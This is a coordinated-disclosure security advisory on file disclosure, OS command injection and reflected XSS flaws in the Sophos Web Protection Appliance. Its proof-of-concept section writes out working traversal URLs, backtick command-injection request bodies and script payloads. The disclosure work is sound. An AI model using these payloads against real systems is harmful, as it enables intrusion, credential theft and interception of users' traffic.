SEC Consult SA-20130403-0 :: Multiple vulnerabilities in Sophos Web Protection Appliance

2013-04-08T00:00:00
ID SECURITYVULNS:DOC:29238
Type securityvulns
Reporter Securityvulns
Modified 2013-04-08T00:00:00

Description

SEC Consult Vulnerability Lab Security Advisory < 20130403-0 >

          title: Multiple vulnerabilities
        product: Sophos Web Protection Appliance

vulnerable version: <= 3.7.8.1 fixed version: 3.7.8.2 impact: Critical CVE number: CVE-2013-2641, CVE-2013-2642, CVE-2013-2643 homepage: http://www.sophos.com/ found: 2013-01-14 by: Wolfgang Ettlinger SEC Consult Vulnerability Lab https://www.sec-consult.com

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Vendor/product description:

"Our award-winning Secure Web Gateway appliances make web protection easy. They are quick to setup, simple to manage and make policy administration a snap, even for non-technical users."

URL: http://www.sophos.com/en-us/products/web/web-protection.aspx

Business recommendation:

SEC Consult has identified several vulnerabilities within the components of the Sophos Web Protection Appliance in the course of a short crash test. Some components have been spot-checked, while others have not been tested at all.

An attacker can get unauthorized access to the appliance and plant backdoors or access configuration files containing credentials for other systems (eg. Active Directory/FTP login) which can be used in further attacks. Since all web traffic passes through the appliance, interception of HTTP as well as the plaintext form of HTTPS traffic (if HTTPS Scanning feature in use), including sensitive information like passwords and session Cookies is possible. If HTTPS Scanning is enabled, the appliance holds a private key for a Certificate Authority (CA) certificate that is installed/trusted on all workstations in the company. If this private key is compromised by an attacker, arbitrary certificates can be signed. These certificates will then pass validation on the client machines, enabling in various attacks targeting clients (MITM, phishing, evilgrade, ...).

The recommendation of SEC Consult is to switch off the product until a comprehensive security audit based on a security source code review has been performed and all identified security deficiencies have been resolved by the vendor.

Vulnerability overview/description:

1) Unauthenticated local file disclosure (CVE-2013-2641) Unauthenticated users can read arbitrary files from the filesystem with the privileges of the "spiderman" operating system user. These files include configuration files containing sensitive information such as clear text passwords which can be used in other attacks. Furthermore the webserver log file which holds valid PHP session IDs can be accessed. With this information administrator users can be impersonated.

2) OS command injection (CVE-2013-2642) Authenticated users can execute arbitrary commands on the underlying operating system with the privileges of the "spiderman" operating system user. This can be used to get persistent access to the affected system (eg. by planting backdoors), accessing all kinds locally stored information or intercepting web traffic that passes through the appliance. Unauthenticated users can exploit this kind of vulnerability too (depends on appliance configuration).

3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643) Reflected Cross Site Scripting vulnerabilities were found. An attacker can use these vulnerabilities the exploit other vulnerabilities in the web interface or conducting phishing attacks.

Proof of concept:

1) Unauthenticated local file disclosure (CVE-2013-2641) As an example, an unauthenticated user can download the configuration file containing the salted hash of the administrator password as well as clear text passwords e.g. for FTP backup storage or Active Directory authentication:

https://<host>/cgi-bin/patience.cgi?id=../../persist/config/shared.conf%00

Furthermore the Apache access log can be retrieved. As PHP session IDs are passed via the URL rather than via Cookies, these can be found in this log file and effectively used to impersonate administrator users:

https://<host>/cgi-bin/patience.cgi?id=../../log/ui_access_log%00

An excerpt from the log file shows that it contains PHP session ID information (parameter "STYLE"). <host> - - [21/Feb/2013:17:02:17 +0000] "POST /index.php?c=dashboard HTTP/1.1" 200 139 "https://<host>/index.php?section=configuration&c=configuration&STYLE=8514d0a3c2fc9f8d47e2988076778153" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"

2) OS command injection (CVE-2013-2642) The "Diagnostic Tools" functionality allows an authenticated user to inject arbitrary operating system commands enclosed in backticks (`). These commands are run with the privileges of the operating system user "spiderman":

POST /index.php?c=diagnostic_tools HTTP/1.1 Host: <host> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 92 Cache-Control: no-cache

action=wget&section=configuration&STYLE=<valid session id>&url=%60sleep%205%60

The "Local Site List" functionality allows injection of arbitrary OS commands:

POST /index.php?c=local_site_list_editor HTTP/1.1 Host: <host> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 205

STYLE=<valid session id>&action=save&entries=[{"url"%3a+".'`sleep+10`'",+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]

Note: Unauthenticated users can retrieve valid session IDs using the vulnerability in 1).

If a customized template for the "Block page" uses the variable "%%user_workstation%%", an unauthenticated user can inject OS commands using the following URL:

https://<host>/end-user/index.php?reason=application&client-ip=%20%60sleep+10%60

3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643) The following URLs demonstrate reflected Cross Site Scripting vulnerabilities:

https://<host>/rss.php?action=allow&xss=%3Cscript%3Ealert%28String.fromCharCode%28120,%20115,%20115%29%29%3C/script%3E https://<host>/end-user/errdoc.php?e=530&msg=PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%2bCg%3d%3d https://<host>/end-user/ftp_redirect.php?r=x&h=%3C/script%3E%3Cscript%3Ealert%281%29%3b%3C/script%3E https://<host>/index.php?c=blocked&reason=malware&user=&&threat=%3Cscript%3Ealert%281%29%3C/script%3E

As the application uses URL parameters to transmit session IDs and rather than cookies, session stealing attacks cannot be executed using these flaws. However, these vulnerabilities can still be used to fake login pages for phishing purposes. Furthermore the vulnerabilities in 1) and 2) can be exploited via one of the XSS vulnerabilities. This enables attacks on the appliance even when the web interface would otherwise not be reachable to the attacker.

Possible attack scenario: Use XSS to run malicous Javascript in the browser of a user who has network access to the web interface. This code can: - Exploit the local file disclosure vulnerability (see 1) in order to gain access to valid session IDs and impersonate administrator users. - Exploit the OS command injection (see 2) in order to execute arbitrary commands on the system. - Exfiltrate sensitive information like HTTP, (plaintext) HTTPS traffic or the private key for the CA certificate used for HTTPS scanning (MITM).

Vulnerable / tested versions:

The vulnerabilities have been verified to exist in the Sophos Web Protection Appliance version 3.7.8.1, which was the most recent version at the time of discovery.

Vendor contact timeline:

2013-02-22: Sending advisory and proof of concept exploit via encrypted channel. 2013-02-23: Vendor acknowledges receipt of advisory. 2013-03-01: Vendor confirms reported issues and provides preliminary information about release dates. 2013-03-07: Conference call: Addressing the risks the discovered vulnerabilities pose to customers and release schedule. 2013-03-18: Vendor starts rollout of update to "a first group of customers". 2013-04-03: SEC Consult releases coordinated security advisory.

Solution:

Update to Web Protection Appliance version 3.7.8.2.

More information can be found at: http://www.sophos.com/en-us/support/knowledgebase/118969.aspx

Workaround:

No workaround available.

Advisory URL:

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

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Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com https://www.sec-consult.com http://blog.sec-consult.com

EOF Wolfgang Ettlinger, Stefan Viehbock / @2013